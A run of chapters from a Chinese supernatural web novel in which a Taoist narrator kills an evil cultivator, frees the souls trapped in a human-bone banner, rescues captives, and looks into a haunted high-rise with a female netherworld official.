我没回答,我看了一眼满地的黄皮子尸体,这些应该是陈皮的朋友吧。
在看那陈皮消极的眼神,我没有再废话,突然运转道力,一掌拍了过去。
这两米高的人,直接被我拍成了灰烬。
看到他的下场,我深吸一口气,忍不住说道,“这到底祸害了多少人才会连血液都是邪气。”
……
第一百零三章性情了
这个邪修已经不能称呼为人了,我觉得说它是邪物更贴切些。
因为我所运用的道力乃是最纯粹的正气,而他直接被拍成了灰烬,可见他浑身上下都是邪气。
能达到这种地步,鬼知道害了多少人。我想,他在金友殡葬那害的人,应该是九牛一毛。
“汪汪汪。”欢欢朝我叫唤,它焦急地看向陈皮。
我知道它想我救陈皮,我急忙走了过去,然后检查下陈皮的情况,“它没事,受了点伤,再就是体内的气耗尽了,休息几天就好了。”
说完我拿着医玉注入了道力,随着一股绿色气息进入它体内,它体内的损伤得到了修复,倒是醒了过来。
我问,“咋回事?”
陈皮精神了些,看着地上那些皮子残缺的身子,它表情痛苦地传音给我,“道长,我在这找到了族人,想着安家。却意外撞见了这个家伙,他满身邪气,生吃我族人。我一路追来,跟他大战,不是他对手。”
看着陈皮萎靡不振,我随手打出一个‘道’字真言在它身上。陈皮的情绪看上去好了些,但应该是还没走出来。
想必是这邪修给它的打击太大了。
我说,“你能修行,本身就是逆天而行。逆天者,自当遭遇劫难。”
陈皮微微点头,“谢谢道长指点,小的记下了。”
看着它状态确实好了些,我说,“嗯,你要是没地方去,那就跟着欢欢在我家住下。但要避讳点人,他们怕你。”
陈皮用力地点头,“谢谢道长。”
我开了个玩笑,“叫大爷!”
陈皮,“大爷。”
说实话,比起跟人相识,我更喜欢陈皮这种。它的本性是动物,你看到的是啥样,它就是啥样,它很纯粹的。
哪怕后来遇到不少真正厉害的,它们虽然狂妄自大,但也都真性情。
“大爷,我一路追过来,发现这怪物就住在附近。但我修为尚浅,破不开那结界。我有几个族人被抓了,求您,救救他们。”陈皮跪了下来,朝我磕头。
“起来吧,带路。”我说道。
陈皮看了一眼那些地上的零散尸体,撇过头带路。大约十分钟,我们来到了地头。这边有着零零散散的几个坟头。
陈皮指着其中一个坟头,我运转道力,双眼用力,果然看到了一层光幕。
确实是个结界,而且还是跟在帝都桥下白骨怪的那个结界有所不同。这结界没有那纱布的东西,就是一层光膜。
虽然我第一次见到,但我不觉得破开它有多大的难度,只需要轰碎了就好。但对于陈皮而言,倒是没这个能力。
我疑惑,“陈皮,之前你在帝都那桥下是怎么进到白骨怪住处的?”
我倒是没怀疑陈皮啥,纯粹就是好奇。那个结界可是比这个强太多了。
陈皮站了起来,修长的身子半米高,它说,“回大爷,我是得了白骨怪的影响偷得天机,所以她弄的结界,我不受影响。”
我点了点头,“原来是这样啊。”
我觉得新奇,随后我看了一眼欢欢在想,欢欢是不是也因为受我的影响,所以对于我传授的术法,学得非常快。
就像‘风火奇门’那阵法?
眼下看着焦急的陈皮,我也不再啰嗦,催动道力,猛地一拳轰在了结界上。
一拳,那光膜就被我轰碎了。在坟包那,出现了一个一人多高的洞口,我跟着走了下去。
并不是很深,大约三米左右,但里面倒是很宽阔,应该有个二十平米,四处都是蜡烛。
刚进来,我就看到了一口棺材,里面的尸体已经腐烂,虽然是冬天,但这里并不冷,尸体的臭味充斥着整个空间。
“这是什么东西?”又往前走,我看到了一面黑白旗,旗子是用人骨做成的,那旗面我要是没猜错的话应该是人皮。
我都不用道力,光凭这双肉眼就看到了旗子里那缠绕的邪气,已经邪得发紫了。
“阴阳旗?应该不是。”我摇了摇头。
阴阳旗是道家的东西,虽然也能邪用。但这旗子不像,所谓阴阳旗,有阴有阳,阴阳相克。
这旗子呢?虽然是黑白旗,但全都是邪气。还有就是它用人骨所制,肯定不是了。
我不认得。
嗖。
但就在这时,那沉浸在我体内的阴莲花突然飞了出来。
它直接罩在了那旗子上面。
嗷嗷嗷!
紧接着,洞穴里面嚎叫声不断,十个人,不,成百上个人,也不对,有的听上去不是人。
撕心裂肺的哭声,无助的喊叫声,生不如死的折磨声……
这次不只是我听到了,就连欢欢和陈皮都听到了,它们也被吓到了,欢欢耳朵耷拉下来,看上去有些害怕,陈皮更是直接捂住了耳朵。
但眼下我没时间搭理他们,我发现那阴莲花似乎在跟我沟通。
“你是想我放出他们?”我问。
阴莲花那幽暗的本体颤动,算是回应我了。我这才明白,我已经是它的主人了,它虽然有能力直接放了他们,但需要征得我同意。
“好,你做主。”这也是我第一次跟阴莲花有了心灵感应,虽然我不知道它为啥会这样做,但我觉得肯定有道理。
随着我点头,阴莲花突然绽放了。没错,它就是绽放了。它的花瓣突然全部打开,花瓣中流露出两种光,一种是浅蓝色的,一种是金色的。
两种光相互交织缠绕,直冲天际。
“啊啊啊……”
呼!
那旗子中人影不断地爬出,它们叠在一起,拼了命地朝着两束光上爬。
紧接着,那旗子上的人影越来越多,黑气直冲云霄。
“谢谢。”
“谢谢。”
“谢谢。”
…
随着一道道人影消失,我听到了一声又一声的道谢。
那是真情实意的感谢。
我是个冷漠的人,极其的冷漠,哪怕这段时间有所改变,也会说笑了。但骨子里非常的冷。
一直以来,我对别人的谢意都不屑一顾。因为在我看来,那都是些虚以为蛇的。他们是因为我的本事,所以才会谢谢。
但眼下,看着那成百上千得到了解放的生灵,他们的谢谢,却让我心里微微发酸。
直到那最后一道黑影‘道谢’不见后,我有些哽咽的喃喃自语,“不客气。”
随后我深吸了一口气,觉得自己有点性情了。
……
第一百零四章皮子立坟
我深吸一口气,平复此刻的情绪,似乎一下子又回到了那种冷漠的性子。
此刻,我看到那阴莲花金光闪动,随之,一道金色的流光缠绕在我身体上。
我惊讶,这竟然是愿力?没错,这就是愿力。
在这之前,我只知道阴莲花能滋养我的精神力,没想到还有这种作用。
愿力护身?
咻的一声,阴莲花回到了我的体内。我尝试呼唤它,但它突然沉寂了。
会不会是跟电视里面那样,因为得到了武功秘籍,所以一下子吸收不了,然后闭关修炼?
没人回答我,因为我想也没几个人能遇到这种事。所以我猜测阴莲花沉睡了,但在沉睡之前,给我套了个罩子。
哗啦。
我这边还在想着呢,这旗子突然碎成了一堆渣不见了。
紧接着我听到了有细微的声音,似乎在喊着救命。
“有人。”可能是这旗子太吸引人了,又闹出了那么大的动静,所以有人我都给忽略了。
这大厅里还有一些东西,但眼下我顾不上,因为救人要紧。
再往里面走,里面关押着两个女人,还有一个黄皮子,以及两只狼崽。
几个动物的状态还好,但那两个女人被锁在笼子里,精神状态都出了问题。她们被折磨得不像样子,其中一个还怀孕了。
哪怕我打开了笼子把她们救了出来,两个女人都双眼迷离,精神恍惚,一个劲地在那哭闹。
“欢欢,陈皮,你带她们先出洞口等我。”我把衣服脱了下来,披在了那个怀孕女人的身上。
倒不是我多好心,而是她怀着孕,还穿着夏天的衣服,估计是夏天被抓来的。现在上面寒冬腊月,出去估计能冻坏了。
另一个还好,穿得厚一点我就没管。
这种事陈皮擅长,它恢复了一些气力,用了些手段,连两只狼都跟了出去。
我之所以没有第一时间出去,是因为我想看看邪修还有啥东西。
不是我贪婪,是我需要了解我所处的是个什么样的世界。半吊子出身,啥都要摸索。邪修也是修士,我必须去了解,只有这样才能少一分危险,多一分安全。
结果找了半天,这家伙手里都是些奇奇怪怪的东西。什么小药丸,药粉,扎纸人之类的。
其中有两个重要的发现,一个是叫做‘纸人控人术’,这是一种邪术,得到人的头发,或者皮肤组织,再或者血液等等。反正就是跟那人身体有关系的东西,然后扎在纸人的身上,念叨‘阿尼妈的嗨’,用药粉把怨气引到纸人上,就能简单的控制那人了。
还有一个是‘双修之法’,这玩意比较邪乎,方士也有双修之法,但是那种阴阳调和的法子。这个不是,这个是拿女人当炉鼎,狂吸对方的阴气来增强自身的邪力。
但我发现,这个‘双修之法’竟然跟方士的双修之法互补。在双修的那方面,一般而言女盛男衰,哪怕阴阳调和也是如此。只要运用得当,居然能真正地做到阴阳平衡。
好东西!
除此之外,当然还有点东西。这些说不上好坏了,就是那催情的小药丸,迷幻散啥的。
而从里面出来之前,我还看到了一本‘邪修’的笔记,顺手拿走了。
陈皮体弱,我让它跟救出来的族人暂时住在欢欢狗窝,至于那俩小狼,我跟我爸说是狗,也就留在我家看门护院了。
这两个女人我不能收留,我不是啥坏人,但也不是啥好人,没打算给自己找麻烦。
在用真言给他们恢复了神志之后,我把她们送到了局子。
两个女人都是失踪人口,在局子又备案,但问她们发生了啥事,一问三不知。
我心里清楚,她们被下了药,啥都不知道也很正常。
至于我也只说发现了个洞,找到了人。
好在我们这边局子给力,立马出动去调查了那洞穴。
最后的结果是那成了人贩子的聚集点,人贩子都跑了。至于我嘛,成了好市民,还给我发了一万块的奖金。
“大师,谢谢。”从局子出来,两个女人突然跪在了我面前。这看的局子的人都是一愣,但他们也没阻止。
应该是以为我只是单纯地救了两个女人。
“痛苦的事就忘了吧,开始新的生活。”我目光闪动,很显然两个女人也不是全都不记得,应该是不愿意提起。
再或者说,她们应该也被吓到了,有些事说了怕也不会被信。
说完,我看向了那个怀孕女人的肚子,应该有五个月大了,我能感受到新生的气息。只不过,这道气息有些邪。
猜得没错的话,应该是那邪修的种了。
“你肚子里的孩子打算怎么办?”我问。
“孩子,是无辜的。”女人咬了咬嘴唇。
说实话,我不知道这女人咋想的,居然想留孩子。但这是她的事与我无关。
不过,我不能放任一个邪气大的孩子出生,万一是个坏种那就麻烦了。我想了想,一道精纯的道力注入在了她的肚子里。
女人似乎感受到了啥,震惊的看着我。
我说,“他有邪气,我把邪气去了,等生下来就会像正常孩子一样生活。”
女人又打算跪下,我随手甩出了一道力,她弯曲的膝盖又直了起来。
她震惊。
我说,“不用跪,我没想过救你们,是你自己运气好。就此别过。”
说完我就走了。
说真的,老子还是犯了同情心,那孩子有没有邪气,未来啥样,害不害人,都跟我没啥关系。
但我想到自己,想到了自己当傻子那八年。其实傻子也是人,但总被人当做怪胎,我有点希望这孩子不要被当成怪胎。
回到家里面,欢欢给了我一个眼神,我跟他走了过去,发现把它那新来的黄皮子藏到了院子外的一个洞里面了。
那洞之前应该是个老鼠洞,看着也不太大。
闻到了我的气息,那新来的黄皮子探出头来,在我腿上蹭了蹭表示友好。
“你尽量不要现身,等陈皮养好了,你们继续回归大地。”我笑了笑,它知道是我救了它,所以对我很友善。但它就没陈皮那样的好运了,只是个在正常不过的动物。
它能听懂我的话,一溜烟钻进了洞里面。我问欢欢陈皮干啥去了,它撇了撇头。
“它去大地了?”我疑惑。
欢欢突然跪在地上然后做了个磕头的动作。
我心领神会道,“你是说它去上坟了。给谁……”
我恍然大悟,不是上坟,应该是去埋它那些死去的族人尸体了。
我又问欢欢是不是这回事,欢欢点头。
我没说话,而是朝着大地的方向看了一眼,心中生出一丝说不出的情绪来。随后我回了屋,拿出了邪修的笔记看了起来。
这一看就入神了。
我也才知道,自己这次真的是做了一件大好事,为民除害啊。
……
第一百零五章黄三太奶
笔记上是这样记载的,这邪修原本是边境小镇上的一个猎户,因为一次进山得了‘老神仙’的点化,拥有了超出常人的力量。
按照他的说法,那老神仙希望他守护那片大山,但因为力量太过强大,村里无人敢惹,他越发沉迷力量带来的权利成了村霸。
于是他做起事来也越来越肆无忌惮,一次他当着人家男人面,想要霸占女人,男人奋起反抗,他失手把人杀了,后来就过起了逃亡的日子。
这一逃就是五十年,在这期间他的那股力量开始反噬,他变得人不像人鬼不像鬼,过着茹毛饮血的日子,也因此练出了嗜血双修的邪功。
在这五十年里,被他祸害的生灵不计其数,其中女人用来当炉鼎,男人用来炼邪术,喝动物的精血,吃精怪的血肉。
而在二十年前,他捡到了那‘嗜血幡’,传言‘嗜血幡’炼化千人,拥有者能得道升天。而眼下,他已经炼化了九百人。
要不是当初被我所伤,他恐怕就快要成功了,真的只差了一步,就能验证那‘嗜血幡’的真假了。
而他之所以没有离开黑城,是因为恨透了我,在这坟头下修整,打算报复我,却反而被我撞见了。
得知了前因后果,我眯了眯眼睛,这家伙的报复心理还挺强。合上了笔记,我随手用力一捏,它当场化为了灰烬。
这里面还有很多的茹毛饮血的细节,以及炼人的细节,我不想被人看到。
“想必,那老神仙应该是想他成为山神,守护那一方水土吧。”我无奈地摇了摇头,看向了自己的双手,又看向了窗外。
说实话,笔记看了下来,邪修走到今天这一步,我并不感到意外。
力量是迷人的,也会使人迷失自我,激发人性内心中最深刻的恶。
那种感觉连我都道不明白。
拿我来说,我因为有了这股子力量,我父母一辈子赚的钱,我一天就赚了。背叛我父亲的王远,见了我得赔笑。那位安区长,他亲自来我家送礼。远在帝都的黎雅,我们成了朋友。
原本,我跟这些人八竿子都打不着。
但随后我却咧嘴笑了,“管他呢,老子修道的,顺心就行。惹我就干你!”
虽然我想了很多,但我突然发现我这人也有点没心没肺。
晚点,我爹我娘他们回来了,做完饭叫我吃饭。饭桌上,我娘提到了几个亲戚的事,我爹也跟着附和。
接着我爹突然说,“连湾港那出大事了,都上新闻了,说是在城区里火拼追杀。跟电影似的。”
我娘奇怪,“那连湾港在奉省呢?你咋知道的?”
我爹说,“哼,我天天看报纸,我当然知道了。谁像你,整天就在厨房忙活,也不关注关注大新闻。”
我娘,“孩子他爹,我也想看报纸,我得有时间啊。一日三餐都够我忙活的了。要不你做饭,我看报纸。”
我爹理亏,不吱声了。
看着我爹我娘在拌嘴,我倒是觉得挺有意思的。
日子过得很快,眼下已经是正月十五了,也就是我生日。一大早,我娘突然给我煮了两个鸡蛋,然后在我身上滚来滚去的,说是给我滚滚运,滚完之后还让我吃了。
对于‘滚运’这种说法,我个人表示不信。因为在这二十年里,印象里我娘年年给我滚运,结果就是当了八年傻子。
而在那八年里,我娘也给我滚运了,但根本没效果。
不过我娘的一片心意,我还是把鸡蛋给吃了。
吃过饭之后,我突然发现自己已经很多天没见过陈皮了,这些天一直都是欢欢照顾它,所以我想看看它恢复的咋样了。
结果家里来了个不速之客。
这是个穿着大军衣的年轻女人,一双眼睛血红,大摇大摆地走进了我家的院子。
见到我之后,她非常不客气地问我,“你就是冯宁?”
女人的声音很奇怪,她嘴唇没动,话像是从肚子说出来的,还带着重音。
那种趾高气扬的腔调,听起来很不舒服。
“你谁啊?”我冷冷地说。
我可以确认,这家伙应该不是人,但身上也没有一点其他东西的气息。
按理来说,我家有个血观音,她连门都进不来的,所以很奇怪。
“黄三太奶。”她扬起了头,居高临下地审视我。
“哦,有事?”我冷漠道。
“嗯?见了本大仙,你还不跪下?”黄三太奶眯了眯眼睛。
“你说啥?你来我家找我,就是让我给你跪下?”我被气笑了。
要不是在家里面,我直接动手看看它啥实力。
“哼,小娃娃,不懂事啊。想要给本仙家跪的人多了去了,你应该珍惜。跪了本仙家,保你全家平安。”它用鼻孔对着我。
“欢欢。”我叫了欢欢一声。
欢欢心领神会,突然跺了跺后爪,一股淡蓝色的气息从体内流转。
“开智了?”这次黄三太奶愣了愣,然后却又说道,“有点本事,但是不多。”
“那怎么才算有本事呢?”我知道她是因为陈皮它们来的,没有啥恶意,但在我面前,也有点装大了。
“哼,小娃娃,我知道你有点本事,否则的话,也不会救下我那重孙子。我也是看在这个地份上,才来送你一份仙缘,拜入我门下,成为我弟子。”说完,她突然浑身一颤,一道红光缠绕在四周。
愿力?
我看出了这红光是啥,这不就是那愿力所化的罩子吗?
但她的愿力,貌似不如我的强!
“这是啥?”我也好奇这个罩子到底有啥用。
“小娃娃,这叫仙气。是受人尊敬拜出来的气,百毒不侵,邪祟不入。”随后它看了一眼我那小屋说道,“我是仙人,所以你家供奉的血观音,对我不起作用。怎么样?你拜我门下,是不是很有面子!”
仙气?
愿力能转化为仙气?
我想了想,身体一抖,那阴莲花沉睡之前在我身上罩的罩子就出来了。
我说,“我这个呢?也是仙气吗?”
结果,黄三太奶的脸色大变,“这,这怎么可能?你不是供奉,也不是君主帝王,道士身上咋会有仙气护体?还是最稀有的人皇气?”
我奇怪,“仙气也有等级?”
……
第一百零六章阴阳颠倒了
随着修道的深入,谜团也是越来越多,现在又多了个‘仙气’?
黄三太奶死死地盯着我,她身上那红色的仙气消失了。半天,这才对我说道,“道长,是我黄翠走了眼。”
说完,黄三太奶化作一口红色的气消失了,而这披着军大衣的姑娘突然倒在了地上。
我赶忙去扶住了她,大约过了两三分钟,她才醒了过来。然后,一问三不知,还警惕我,说是不是我把她迷晕了。
我无语了。
直到这姑娘走了,我看到陈皮和它那族人站了出来。
我说了黄三太奶的事,陈皮说它这两天已经受到了召唤,它需要走一趟,说是有着契机。
我没拦着,然后告了别。
欢欢对陈皮这俩家伙有点不舍得,竟然偷偷地抹起了眼泪,还真是情深呢。但转眼,它就跟两只小狼混在了一起。
我无语,它这哪是情深,这是寂寞。
结果当天晚上,我家门外又来了不速之客,这次是群狼,好在是晚上,街道上没啥人,要不然看到这场景,估计也得给吓死。
就这样,我又把两只狼给放了。
我看着群狼远去,在群狼的身影即将要消失的时候,群狼回头,它们竟然朝我跪下了。
本来吧,我觉得这就是个小插曲,但谁知道后来,它们又一次出现了,还救了我一命。
当然,这些都是后话。
眼前,我这生日就这样迷迷糊糊地过去了。冬去春来,东北又迎来了开春冷风刺骨的季节。
四月初,又是一年的清明节。这天,我二哥突然回家了,说是想让我帮忙看看啥。
我没搭理他,他就找我爹我娘,说是在哈城买了个房子,但马上要住了才知道,里面吊死过人,还不止一个,吓得他们现在是住住不进去,卖没人买。
我爹说,“老幺,你二哥确实能嘚瑟,但看在爹的脸面上跟他走一趟吧。起码,他现在也往正道上走了,还知道买个房子了。”
听了我爹的话,我答应跟他们去一趟。第二天一早,跟他们就去了哈城。
二哥买的房子在南区,属于市中心地点,来的路上二哥二嫂大致的说了一下情况。说他们买的是带电梯的新楼,总共十五层,刚建成一年多。
当下这边的房价一平米一千三,但他买的这套全下来才八百一平,花了不到十万,本以为赚了,谁曾想这房子里一年多,死了八个人。
有跳楼的,有上吊的……但物业怕影响不好,把这件事给压了下来,他成了冤大头。
听到说死了八个人,我愣住了,一些横死过人不能住的房子我听说过。但一年死八个,还都是横死的,我还是第一次听说。
这样看来,这房子的事不简单了。
“老幺,二哥这辈子都没干过正经事,你可要帮二哥一把啊。这房子要是不能住,我都对不起你二嫂。她跟我这些年,也该有个窝了。”我二哥五官挤在一起,那叫一个委屈。
我瞥了我二哥一眼,我对他的态度就一个原则,我觉得他狗改不了吃屎。虽然他对我的态度变了,但他该啥样还是啥样。
我说,“房子怎么来的?”
果然,听我这么一问,我二哥蔫吧了,他心虚地看我二嫂,不敢说。
再看我二嫂,压根就没啥反应,还低头自顾自地说,“哎,真倒霉,好不容易要过上好日子了,咋就倒霉呢。”
二嫂还是那个二嫂,没心没肺,精神小妹。只知道吐槽困难,但她却不知道困难咋来的。
我二哥一把要拉我胳膊,被我避开了,二哥有点尴尬,这才小声的说了实情,“咳咳,老幺,我这不是上次在红姐那赚了一笔嘛,我就想着再干老本行,压了一批货去了毛熊国,谁知道那边不流行了,货都砸手里了。等我从那边回来,我急着把货出手,那老板货都拿了,钱没给我,就把这房子压给我了。你可不能让你二嫂知道,要不然我俩就真离婚了。”
听了我二哥的话,我觉得我总结得特别到位,狗改不了吃屎。
二嫂说他们倒霉?我觉得这不叫倒霉,叫自己作死。本来陈红赔的那笔钱不是个小数目,加上那些从地下弄出来的东西,少说也有十几个,在哪不能买一套舒适的房子?
他偏偏要折腾。
把家折腾散了就好了。
但这是他的事,我管不着,我来这只要解决屋子里的问题就好,其他的事跟我没关系。
我运转道力,双眼用力,然后看向了二哥二嫂。已经很久没有看别人的运气,那运气从一团变成三层,现在又有了变化,成了一团色彩斑斓的彩色光柱。
不对。
准确点的说不应该是光柱,而是层层叠叠的气运压在了一起,每一层代表了一个阶段,但这一层的颜色不是一致的,会随着变化的。我数了数,二十几层,那就是二十几年?
也就是说一层是一年!
我懂了,这是我二哥的人生气运轨迹。而这最上层,是血红的黑色,像这种黑色,他头上有四个。
在看我二嫂,她的气运倒是还行,从小到大都是白色的,但在十几岁那年,她的运气就开始阴晴不定了。甚至有时候还泛起黑色。
而最近的气运,更是黑得发红。
我心中冷哼,气运真的可以影响人,我二嫂被我二哥给影响了。
“老幺,就是这了。”听到我二哥的话,我停下了脚步,看向了面前。
这是一栋新小区,并排的十五楼,里面有橡胶跑道,设施非常齐全,一眼看过去,给人一种舒适感。
但等我微微抬起头,突然发现了有些不对劲,这些楼房的建筑有点古怪,但具体哪里古怪,我也说不上来。
只是感觉有点别扭。
他们像是……
倒着建的!
没错,就是倒着!
这样想着,我跟着二哥他们进了小区。他们在四栋,十四楼,随着他把家门打开,一股阴风迎面扑来。
“老幺,你看出啥问题了吗?”才进门,我二哥就跟在我身后,我二嫂则是扯着我二哥的衣服。
我没说话,而是四处走了走看了看,我没看到啥脏东西。但却发现了这地方有点邪。
因为在我的视角里,房间是倒过来的,窗外的场景,也是……倒着的。
阴阳颠倒了!
……
第一百零七章阴差
我以为我的感觉出错了,所以我尝试往前走了两步,那种悬空感很明显。
再往窗外看去,我能看到对面同楼层的住户,他们在我眼中也是倒立的,只不过因为有天空当坐标,所以我很清楚,他们是正常状态。
修道有一年多了,我也算是经历了不少事。但眼前的情况还是有些诡异。
我看向我二哥,“冯涛,你看出有啥不妥吗?”
我二哥有些胆怯,左看看,右看看,他摇了摇头,“没,没看出来啊。老幺,你可别吓唬我,我身上是不是有啥东西?”
看着二哥那熊样子,我没有继续理会他,而是问我二嫂,“嫂子,你看到有啥不妥的地方吗?”
我嫂子拉着我二哥的衣服,她似乎很紧张,压根没听我说话。还是我二哥打了她一下,她这才反应过来我在跟她说话。
我二嫂看了看,也用力地摇了摇头,之后她咽了口吐沫,“冯涛,实在不行,这房子咱们不要了吧。这大白天的,实在,实在太吓人了。”
我冷漠地看着两个人,眼下真的一点也指不上他们。随后我收起了道力,用正常的眼睛去观察四周的情况。
周围的情景似乎一下子就正常了,在看对面,我们又处于同样的状态。
反复尝试,当我运转道力,双眼看到的就是世界颠倒的顺序。而恢复正常,周围的事物也是正常的。
然而,我并不清楚这到底是咋回事。
“老幺啊,到底咋回事啊,你别不说话啊。”我二哥急了,他看周围的眼神也变得很害怕。
“我也不清楚,这样,你们把钥匙留给我,我今晚留在这,看看咋回事。”我说。
“这,这,冯宁,这能行吗?别出事,不行房子咱们不要了。”我二嫂担心道。
“咋能不要呢,没事,走走,老幺能摆平的。”再看我二哥,他倒是没有一点歉意,拉着我二嫂就走了。
闻言,我心里没有半点波澜,还是那句话,狗改不了吃屎。对于我二哥这种人,没必要掏出一丁点的情感。
因为这种人你对他好,他都会觉得应该的。
这样更好。
咣当!
伴随着关门声,房间里突然陷入了一片的安静,空气仿佛都凝固了。
我在房子四周转了一圈,又用道力双眼观察四周,还是跟刚才一样,上下颠倒,但看不出问题来。
我觉得这事应该得到晚上能知道个大概。
这并不是我猜测,而是白天为阳,夜晚为阴,所以越是诡异的事,越会发生在夜晚。因为‘阴’也是诡,擅长‘诡’,更能为‘诡’提供最好的能量。
我深吸一口气,猛地盘坐在了客厅的地上,运转五雷元经,调动全身修炼了起来。
不知不觉中,天色沉了下来。
呼呼呼。
我突然听到了风声,风声很大,似乎就在我周围刮着。我睁开眼,面对的窗户上,有着一道女人的人脸。
她!
在盯着我!
这要是换做正常人,恐怕早就吓坏了,这里是十四楼,窗户上贴了个女人人脸?
但我面无表情地看向她,一眨眼,她又不见了。而那窗户上,有的只是一道贴花,挺喜庆的。
对此,我依旧盘坐在那,像是什么事都没有发生一样。
而紧接着,我听到我身后传来了脚步声,高跟鞋的声音,它在我身后不停地走动。
“嗯?”
然而,此刻我的双眼却盯着楼对面的那一家,他们家开着灯,里面的情况看得很清楚。
这次我没有运转道眼,而我却发现自己则是倒立的盘坐着。
我疑惑,运转道力再次看去,反而周围的事物一下子又正常了?
眼下的情况,恰恰跟白天相反?
我正想着呢,那高跟鞋走到了我身后没了声音,突然,刚刚看到的那个人头,正倒立在我面前。
“嘿嘿嘿。”然后,就听这人头发出诡异的声音。
“很好玩吗?”我问她。
人头瞳孔紧缩,“你,能,看到我?”
我说,“你不是怨气,也不是聻,也不是恶灵,你是个啥东西?”
如今的我,咋说也不是那种毛头小子了,我看着女人,我在她身上没有感受到恶意。我觉得她应该是在吓唬我,至于为啥这
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样做我不清楚。
至于她是个啥,我也看不出来,反正不是人,也不是我说的那些东西。
呼!
我四周突然刮起了黑风,女人消失了,等她再次出现,已经换了一身行头,一身的西装,戴了个墨镜。
“原来不是个普通人。”女人歪着脑袋打量我。
“我叫冯宁,给人看事的。你还没说你呢?是个啥东西?你不是人,也不是那些东西。”我倒是直接。
“额,有意思的小家伙,一个东北看事的,胆子倒是不小嘛。换做那些骗子,早就被我吓得屁滚尿流了。”女人坐在了沙发上,这才说道,“我叫王薛,阴差。”
王薛?
这个名字我总觉得耳熟,但真的就想不起来她是干啥的。
有一种我越是想,越是记忆模糊的感觉。
所以**脆不想了,而是又说,“这里阴阳颠倒,违背常理。**八个人,你们阴差不管吗?”
王薛翘起二郎腿,身子倾倒在沙发上,她那很大的胸压在了沙发上,该说不说,这个阴差真有料。
随后,她漫不经心地跟我说,“你知道的还不少呢?”
我奇怪,“难道不是吗?”
王薛笑道,“看来你并不清楚这是什么地方吧?”
我摇头。
她说,“这里曾是菜市口。因为怨气过重,凝聚在半空中无法散去。久而久之,这地方就形成了磁场。而那些怨气不甘心想要找替身,替他们困在这受尽折磨,所以专挑一些意志薄弱的人下手。”
我皱了皱眉头,疑惑道,“所以你们早就知道它们的存在?然后没有解决这个问题?这才有了这个害人的事?”
闻言,我看到那王薛的眼神突然锋利起来,冷冰冰的,没有一点的情感。但很快,她又恢复了那风情万种的模样,靠在沙发上,“咯咯咯,小弟弟的想法倒是很超前嘛。但在你问出这个问题之前,你有没想过这杀孽是谁造成的呢?是你们阳间之人,杀了冤死之人,而不是我们造成的。还有,我们阴差是工作,先要处理容易的事。谁知道有一天人会住在天上的?”
……
第一百零八章好在我机智
听了王薛最后那一句话我愣住了,我觉得很有道理,毕竟在我没走出黑城之前,我很难想象这个世界会有高楼大厦。
更何况百年前的人了,应该也难以预料。
但我依旧冷漠地看着王薛,我觉得她的出现肯定不是偶然,本来就是来处理这件事的。
我说,“有啥办法能处理这件事?”
王薛说,“办法倒是有,摆渡人引渡,或是直接灭了他们。”
说完,王薛挥手,我面前的场景突然发生了翻天覆地的变化。
我处在一个四处是烈火的空间,里面全都是四处哀嚎的人影。它们狂虐,暴躁,相互撕咬,吞噬,场面残忍震撼。
“人,人!”随后,有东西发现了我,朝我扑了过来。
我皱了皱眉头,正准备动手,但一旁的王薛却突然又一挥手。
周围又变成了客厅里的情况。
我眯眼,我刚才少说看到了上百个跟三婶娘一样的东西。
王薛站了起来,那双冷漠的眼神正盯着我,“你不怕?”
我摇头,“之前见过。”
她惊奇,“你能看到聻?”
我点了点头,王薛眼神跳动,“有趣儿,真的有趣儿。那我问你,这些怨气乃是冤死之人所留,如今它们已化成恶灵,你是杀?还是不杀?”
我看了王薛一眼,平静地说出内心的答案,“杀。”
王薛那冷漠的眼神死死地盯着我,对于我的回答她并不意外,但也没啥反应,而是又说,“恶灵一旦**,便不能入轮回,彻彻底底地消失在了这个世界。那如果里面有你的至爱亲朋呢?你还会那样做吗?”
在这一瞬间我想到了三婶娘,想到了她在村子里游荡的画面。我直接道,“杀!”
说完,我微微抬起头,无比冷漠地看向王薛。
这次王薛那冷漠的外表有些动容,她说,“为何?”
我说,“因为该杀。”
我这句话说得很坚决,比起彻底的灰飞烟灭,我不想他们像无头苍蝇那样的活着。
王薛的话,又让我想到了一个生灵,那就是附在佛子身上的山魈。
我亲手灰飞烟灭了它,那会因为这事,心情沉重了好些天。但在当时我不知道那是一种什么感受,那山魈开了智,它附在郭毅身上只想活着,而我掐灭了它的希望,所以觉得过意不去。
但如今呢,我不那样想了。它的那种活着是苟延残喘,在等待消亡。与其这样,不如真的彻底毁了。不管我家人朋友怎么想,但我都不希望他们那样去存在。
王薛的眼神阴晴不定,她说,“想不到,你这个家伙会如此狠辣。”
我没说话,她又说,“人死为鬼,鬼死为聻,聻死为希,希死为夷,夷死虚无,虚无生道。道生一,一生二,二生三,三生万物。死亡,也是新生。”
听到王薛的话,我的灵魂一震,突然有一种大彻大悟的感受。
这些话我之前听陆小旺讲过,也在陆老爷子的笔记上看过。但只有前半句话,那就是人死为鬼,鬼死为聻,希死为夷。当时我所理解的,那就是**就是**,不会在存在了。
而眼下,我却震撼了,甚至改变了我的三观。对于‘道’我又有了新的认知,它似乎没有那么冷漠,是有人情味的。
而彻底死亡的人,也会以‘道’的形式存在!
“谢谢前辈指点。”虽然我不知道这个阴差为啥跟我说这么多,但我能感受到,她确实是在指点我。
我虽然傲了些,但不是那种不知礼数之人。我起身,认认真真地给她鞠躬。
随后我很惊奇,我连佛像都不能拜,鬼神不能上香,眼下却能给这个阴差鞠躬。
“孺子可教也。”说完,女人又说道,“这团怨气已经在这里生根发芽,要想恢复这片天地的正常秩序,只有除掉它。”
话音落下,女人一挥手,接着我又看到了那片火海,那里面的恶灵一个一个被一只手捏碎,化为了灰烬。
也不知道过了多久,那火海中的火越来越小,最后全都不见了。而我则是依旧站在二哥家中的客厅里,我望向了窗外,那是我的坐标,我发现四周已经恢复了正常。
女人还在,她又坐回了沙发上,笑盈盈地打量着我。
“那些扰乱地磁场的火焰就是业火吗?”我看向了王薛,我突然有所顿悟。我觉得光是恶灵
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怨气啥的,还不足以闹出这么大的动静。而那些火焰,应该非常特殊,我想到了业火。
“是业火,也被叫做罪孽之火,这种火邪祟受益,鬼能便聻,聻能化希。不过人一旦处在其中会浑身不自在,气运变差,久而久之,损阴德。很容易被邪祟入侵。”她说。
“也就是说,那八个人一直住在这业火中,所以才会被恶灵有机可乘?”我问。
“是这样的。”她没有隐瞒。
我沉默了,总算搞清楚了咋回事。一开始我以为那是一个里面全是火焰的特别空间,结果是这整栋房子都处在那业火之中。
